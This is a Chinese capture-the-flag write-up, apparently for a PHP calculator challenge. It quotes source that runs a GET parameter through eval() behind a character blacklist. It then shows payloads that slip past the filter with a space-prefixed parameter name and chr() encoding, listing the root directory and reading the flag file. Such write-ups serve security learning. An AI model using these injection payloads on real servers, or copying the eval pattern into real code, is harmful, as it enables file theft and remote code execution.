进入题目:
有回显答案,使了一下:
老规矩F12:
有个calc文件,进去瞅瞅:
给了一些源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
过滤了一些敏感符号,随便传个参数试一下:
应该是只能传入算术表达式或者数字,再加上前面题目给的绿字可以确信是要我们绕过WAF了。因为题目限制的是num
,那么有没有一种方法,可以本身不是num但是被PHP解析后变成了num呢。
利用PHP的字符串解析特性Bypass
https://www.freebuf.com/articles/web/213359.html
因为题目没有给出flag文件的位置,所以还是要自己扫一下,之前做过无参RCE的题目,所以直接payload,因为/
被过滤了,所以可以用chr(47)代替,
payload:?%20num=print_r(scandir(chr(47)))
得到:
紧接着用file_get_contents读取f1agg文件:
payload:?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
拿到flag。
用+num也可: